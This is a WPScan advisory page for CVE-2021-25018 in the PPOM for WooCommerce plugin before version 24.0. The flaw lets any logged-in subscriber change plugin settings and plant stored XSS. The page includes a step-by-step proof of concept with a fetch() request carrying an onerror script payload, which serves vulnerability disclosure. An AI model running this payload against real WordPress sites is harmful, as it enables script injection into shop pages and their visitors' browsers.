WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

PPOM for WooCommerce < 24.0 - Subscriber+ Settings Update to Stored XSS

Description

The plugin does not have authorisation and CSRF checks in the ppom_settings_panel_action AJAX action, allowing any authenticated to call it and set arbitrary settings. Furthermore, due to the lack of sanitisation and escaping, it could lead to Stored XSS issues

Proof of Concept

1. Use the new settings panel framework by clicking the "migrate" button on https://example.com/wp-admin/admin.php?page=wc-settings&tab=ppom_settings
2. Attach PPOM fields to any Woocommerce product (product must have a price set for XSS to trigger)
3. Run (as any logged-in user, e.g. a subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ppom_settings_panel_action&ppom-settings_panel[ppom_label_product_price]=<img src onerror=alert(`XSS`) x",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

4. The XSS will be triggered on the products where PPOM fields are enabled 

Affects Plugins

woocommerce-product-addon
Fixed in version 24.0

References

CVE
CVE-2021-25018

Classification

Type

NO AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-862

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
9e092aad-0b36-45a9-8987-8d904b34fbb2

Timeline

Publicly Published

2022-01-17 (about 1 years ago)

Added

2022-01-17 (about 1 years ago)

Last Updated

2022-04-12 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us